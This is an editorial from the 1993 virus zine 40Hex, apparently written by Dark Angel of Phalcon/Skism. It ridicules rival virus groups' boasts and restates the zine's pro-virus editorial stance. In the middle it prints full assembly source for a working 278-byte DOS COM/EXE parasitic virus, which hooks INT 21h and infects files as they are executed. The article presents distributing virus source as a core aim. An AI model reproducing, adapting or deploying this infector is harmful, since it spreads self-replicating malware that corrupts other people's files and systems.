home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersguides-&-software / 40hex-11.zip / 40HEX-11.001 < prev    next >
Text File  |  1993-06-01  |  14KB  |  342 lines

  1. 40Hex Issue 11 Volume 3 Number 2                                      File 001
  2.  
  3.                         Life, the Universe, and 40Hex
  4.  
  5.        It is apparent to even the blindest of observers that the virus
  6.   phenomenon has caught on.  Everyone and his kid brother has decided to start
  7.   a virus group, whether or not they have programmers capable of creating a
  8.   viable (read: parasitic) virus.  While this in itself is merely offensive,
  9.   it is the sheer arrogance of these meta-groups which is irritating.  Of
  10.   course, no names will be mentioned, as that would be mean and we all wish
  11.   for a happy world.
  12.        The most common trait of these pseudo-groups is for a member to state
  13.   that all code that was written was "developed on my own."  Of course, this
  14.   is seldom the case.  Often, the "original source code" to their viruses
  15.   clearly originated at some point from a Sourcer disassembly.  Heck, when you
  16.   see "seg_a" or "loc_0027," you know they're just poor hacks.  Of course, the
  17.   the disparate coding styles in the "source" also reveals the nature of the
  18.   virus.
  19.        And when the virus is listed as a Dark Avenger hack in various anti-
  20.   virus products, the individuals persist in their self-induced fantasies,
  21.   saying their viruses are original.  I suppose the anti-virus programmers,
  22.   who have disassembled countless viruses, can't spot a Dark Avenger or Murphy
  23.   hack when they see one.  Stop fooling yourselves.
  24.        And these mentally challenged persons continue, insisting routine X, a
  25.   "new, innovative technique," was developed independently.  Yet anyone with
  26.   even a minimal exposure to virus source code can see traces of other viruses
  27.   in these routines.  Even the ideas presented are seldom new; most having
  28.   already been implemented by existing viruses.  The worst of these people
  29.   magnify all of their supposed accomplishments, talking of the revolutionary
  30.   changes they single-handedly effect.
  31.        Every group goes through a phase in which they hack viruses; they
  32.   should not be proud of these viruses.  But it is merely the first step and
  33.   most grow out of it.  Skism-1, for example, was a Jerusalem hack.  It is
  34.   ancient history.  I might also point out that the Phalcon/Skism viruses
  35.   published in both the last issue and this one are far superior to Skism-1.
  36.   Phalcon/Skism does not release the source code to half-baked viruses just so
  37.   40Hex can look larger.  Every virus programmer has a few experimental
  38.   viruses; yet it is not necessarily appropriate to print all of them.  If I
  39.   wrote a virus which had several hundred bytes of repetitious code, I would
  40.   be ashamed to print it.  It's like releasing a program which has only been
  41.   half-completed.
  42.        When a virus programmer additionally claims, "This virus was written
  43.   two years ago, so it sucks, but I'm going to release it anyway because it's
  44.   good to learn from," I have my doubts.  When s/he further hurridly states,
  45.   "My other viruses are better," then my doubts grow.  Where, pray tell, are
  46.   these superior viruses?  Why publish that which you admit sucks?  Of course,
  47.   anyone that makes such a claim, or one such as, "Next time, I'll release a
  48.   COM/EXE/SYS/MBR/OV?/DAT/DOC/TXT/ANS/ASC polymorphic, stealth infector that I
  49.   wrote last week," is suspicious.
  50.        As an example of the mindless boasting, observe the following:  (Note:
  51.   the following should not be construed as a personal attack against either
  52.   the person or group in question.)
  53.        This person wrote, "As with many of my routines, stuff which took many
  54.   other virus writers a few pages of code took me one page... that's not bad!
  55.   I have many other goodies up my sleeve, like a 387-byte generic COM/EXE
  56.   parasitic infector on execution, the smallest of its kind in the WORLD...
  57.   (with room for improvement!)."
  58.        Please do not boast if you cannot substantiate your claims.  For
  59.   example, these claims are easily shredded by counterexample.  Let us examine
  60.   the Voronezh-370 virus.  It is a generic parasitic COM/EXE infector and it
  61.   is indeed less than 387 bytes.  If 387 bytes is the smallest in the world,
  62.   then this may very well be the smallest in the universe.  With only two
  63.   hours of fiddling, I came up with the following virus (278 bytes), which may
  64.   yet be the smallest of its kind in all of creation!  Actually, I make no
  65.   such claim, as a smaller one _can_ be written.  The point was to show that
  66.   this claim was not all that impressive and was, in fact, dead wrong.  Let us
  67.   not be o'erhasty to boast next time.
  68.        As with many of my viruses, stuff which took many other virus writers
  69.   over 380 bytes took me under 280... that's not bad!  Humour aside, I might
  70.   point out that this virus is _over_ 100 bytes less than the boaster's
  71.   attempt, so it is _significantly_ smaller.  Gee, I wonder what those extra
  72.   109 bytes are used for.
  73.  
  74.   -------------Cut here----------------
  75.           .model  tiny
  76.           .code
  77.           .radix  16
  78.           .code
  79.   ; Phalcon/Skism _Small virus
  80.   ; Written by Dark Angel of Phalcon/Skism
  81.   ; 278 byte generic COM/EXE infector
  82.   EXE_ID          =       -40
  83.   viruslength     =       heap - _small
  84.   startload       =       90 * 4
  85.  
  86.   _small:
  87.           call    relative
  88.   oldheader       dw      020cdh
  89.                   dw      0bh dup (0)
  90.   relative:
  91.           pop     bp
  92.           push    ds
  93.           push    es
  94.           xor     ax,ax
  95.           mov     ds,ax
  96.           mov     es,ax
  97.           mov     di,startload
  98.           cmp     word ptr ds:[di+25],di
  99.           jz      exit_small
  100.  
  101.           lea     si,[bp-3]
  102.           mov     cx,viruslength
  103.           db      2Eh
  104.           rep     movsb
  105.  
  106.           mov     di,offset old21 + startload
  107.           mov     si,21*4
  108.           push    si
  109.           movsw
  110.           movsw
  111.           pop     di
  112.           mov     ax,offset int21 + startload
  113.           stosw
  114.           xchg    ax,cx
  115.           stosw
  116.  
  117.   exit_small:
  118.           pop     es
  119.           pop     ds
  120.  
  121.           or      sp,sp
  122.           jnp     returnCOM
  123.   returnEXE:
  124.           mov     ax,ds
  125.           add     ax,10
  126.           add     [bp+16],ax
  127.           add     ax,[bp+0e]
  128.           mov     ss,ax
  129.           mov     sp,cs:[bp+10]
  130.           jmp     dword ptr cs:[bp+14]
  131.   returnCOM:
  132.           mov     di,100
  133.           push    di
  134.           mov     si,bp
  135.           movsw
  136.           movsb
  137.           ret
  138.  
  139.   infect:
  140.           push    ax
  141.           push    bx
  142.           push    cx
  143.           push    dx
  144.           push    si
  145.           push    di
  146.           push    ds
  147.           push    es
  148.  
  149.           mov     ax,3d02
  150.           int     21
  151.           xchg    ax,bx
  152.  
  153.           push    cs
  154.           pop     ds
  155.           push    cs
  156.           pop     es
  157.  
  158.           mov     si,offset oldheader+startload
  159.  
  160.           mov     ah,3f
  161.           mov     cx,18
  162.           push    cx
  163.           mov     dx,si
  164.           int     21
  165.  
  166.           cmp     ax,cx
  167.           jnz     go_already_infected
  168.  
  169.           mov     di,offset target + startload
  170.           push    di
  171.           rep     movsb
  172.           pop     di
  173.  
  174.           mov     ax,4202
  175.           cwd
  176.           int     21
  177.  
  178.           cmp     ds:[di],'ZM'
  179.           jz      infectEXE
  180.  
  181.           sub     ax,3
  182.           mov     byte ptr ds:[di],0e9
  183.           mov     ds:[di+1],ax
  184.  
  185.           sub     ax,viruslength
  186.           cmp     ds:[si-17],ax
  187.           jnz     finishinfect
  188.   go_already_infected:
  189.           pop     cx
  190.           jmp     short already_infected
  191.  
  192.   int21:
  193.           cmp     ax,4b00
  194.           jz      infect
  195.           jmp     short chain
  196.  
  197.   infectEXE:
  198.           cmp     word ptr [di+10],EXE_ID
  199.           jz      go_already_infected
  200.  
  201.           push    ax
  202.           push    dx
  203.  
  204.           add     ax,viruslength
  205.           adc     dx,0
  206.  
  207.           mov     cx,200
  208.           div     cx
  209.  
  210.           or      dx,dx
  211.           jz      nohiccup
  212.           inc     ax
  213.   nohiccup:
  214.           mov     ds:[di+4],ax
  215.           mov     ds:[di+2],dx
  216.  
  217.           pop     dx
  218.           pop     ax
  219.  
  220.           mov     cx,10
  221.           div     cx
  222.  
  223.           sub     ax,ds:[di+8]
  224.  
  225.           mov     ds:[di+14],dx
  226.           mov     ds:[di+16],ax
  227.  
  228.           mov     ds:[di+0e],ax
  229.           mov     word ptr ds:[di+10],EXE_ID
  230.   finishinfect:
  231.           mov     ah,40
  232.           mov     cx,viruslength
  233.           mov     dx,startload
  234.           int     21
  235.  
  236.           mov     ax,4200
  237.           xor     cx,cx
  238.           cwd
  239.           int     21
  240.  
  241.           mov     ah,40
  242.           mov     dx,di
  243.           pop     cx
  244.           int     21
  245.   already_infected:
  246.           mov     ah,3e
  247.           int     21
  248.   exitinfect:
  249.           pop     es
  250.           pop     ds
  251.           pop     di
  252.           pop     si
  253.           pop     dx
  254.           pop     cx
  255.           pop     bx
  256.           pop     ax
  257.   chain:
  258.           db      0ea
  259.   heap:
  260.   old21   dw      ?, ?
  261.   target  dw      0ch dup (?)
  262.  
  263.   endheap:
  264.           end     _small
  265.   -------------------------------------
  266.  
  267.        I think the informed virus and anti-virus person recognises these
  268.   claims as the baseless boasts they are.  Let me assure you that you will see
  269.   none of that in 40Hex.
  270.        Finally, each new group proclaims to be the world's predominant virus
  271.   group.  Each new group puts out a magazine.  Each new group presents H/P/A
  272.   articles in their magazines.  Let us go through each one step by step.
  273.   Hacking.  Gee, can't you see the connection with viruses?  Phreaking.  Got
  274.   some c0deZ, d00d?  Anarchy.  Gee, I want total chaos even though I probably
  275.   couldn't survive such a situation.  H/P/A aside, these "virus magazines" do
  276.   indeed contain some virus-related articles.  Generally, these are of the
  277.   form "X virus is great, but we won't give source.  X does this, it does
  278.   that, it is not a hack of Dark Avenger even though it scans as such."  Some
  279.   articles give Sourcer disassemblies -- hardly commented, yet termed
  280.   disassemblies nonetheless.  Finally, there are the programming articles
  281.   containing tips and tricks from the "masters."  These often contain
  282.   nonworking code.  These often contain factual errors.  These often are
  283.   nothing but a waste of time.
  284.        Does this sound elitist?  I hope not.  Judge virus groups and their
  285.   magazines on their merits, not on their hype.  Do not take a virus group's
  286.   word as gospel; it seldom reflects the truth.  Instead, do some
  287.   investigation on your own and try to verify (or refute) their claims.  You
  288.   may be surprised at the results.  There is also no reason to immediately
  289.   condemn all anti-virus people as corrupt and "lame"; many are just ordinary
  290.   people "on the other side."  The virus scene is becoming less innovative as
  291.   these new quasi-groups emerge.  This apparent contradiction must end soon.
  292.   We ask all groups to end the self-back-patting and blatant lying and do some
  293.   real work.
  294.        Finally, a short summary of 40Hex is in order, for both new and old
  295.   readers alike.  The paragraphs below show the current editorial stance and
  296.   opinion of 40Hex, which has evolved during the several years of its
  297.   existence.  What holds true for 40Hex also applies to Phalcon/Skism.
  298.  
  299.        40Hex is _not_ a magazine for self-congratulation.  Although put out by
  300.   Phalcon/Skism, 40Hex serves as medium through which the public may hear the
  301.   voice of the informed virus community without magnification of either the
  302.   achievements or failures of any particular virus group or programmer.
  303.   Although the 40Hex staff offers opinions from the pro-virus standpoint,
  304.   40Hex is not an anti-anti-virus magazine.  There is a clear distinction
  305.   between pro- and anti-anti-virus.  40Hex encourages anti-virus researchers
  306.   to contribute.  40Hex offers a fair, unbiased view except in editorials,
  307.   which obviously reflect the opinions of the authors.
  308.        40Hex _is_ purely a virus magazine -- none of that H/P/A/k-rad stuff.
  309.   Illegal and anarchistic activities are not condoned by 40Hex and, as such,
  310.   these topics are not appropriate for inclusion in the magazine.  The public
  311.   distribution of quality virus source code and virus writing techniques, both
  312.   old and new, is one of the predominant goals of 40Hex, serving to inform
  313.   both the pro- and anti-virus community.  The secondary function of the
  314.   magazine is to spread virus-related news.  40Hex is concerned more with
  315.   content than size.  You know the old saw "Quality, not quantity."  Other
  316.   magazines appear larger than they truly are because each article is padded
  317.   to 80 columns, effectively doubling its file length.
  318.        40Hex articles are _not_ mere rehashes of what has already been
  319.   printed.  Other magazines have presented articles which closely mirror those
  320.   already published in 40Hex.  Such poorly rewritten articles are neither
  321.   enlightening nor necessary.
  322.        40Hex is _not_ a tool with which people wreak havok upon others'
  323.   systems.  This is simply an unfair view of the magazine.  In fact, 40Hex is
  324.   against wanton destruction of computer systems.  Viruses are so prevalent
  325.   nowadays that anyone can obtain them with little difficulty.  They also need
  326.   not obtain 40Hex to be able to type "FORMAT C:"  Knobs will be knobs.
  327.        40Hex _is_ a public forum, allowing those who take the time to write to
  328.   have their opinions published.  We encourage all to send letters to 40Hex,
  329.   as they provide valuable insight into the virus and anti-virus communities
  330.   from a fresh perspective.
  331.        40Hex is _not_ inherently evil.  What you choose to do with the
  332.   knowledge provided is your business.
  333.  
  334.        Once again, 40Hex does not condone the illegal spread of viruses.  Such
  335.   actions are frowned upon.  Our stance has evolved over the years, so don't
  336.   bring up something from 40Hex-2 and cry hippocrite -- unless, of course, you
  337.   have a closed mind and absolutely nothing else to say.
  338.  
  339.                                                 -- Dark Angel
  340.                                                    Phalcon/Skism
  341.  
  342.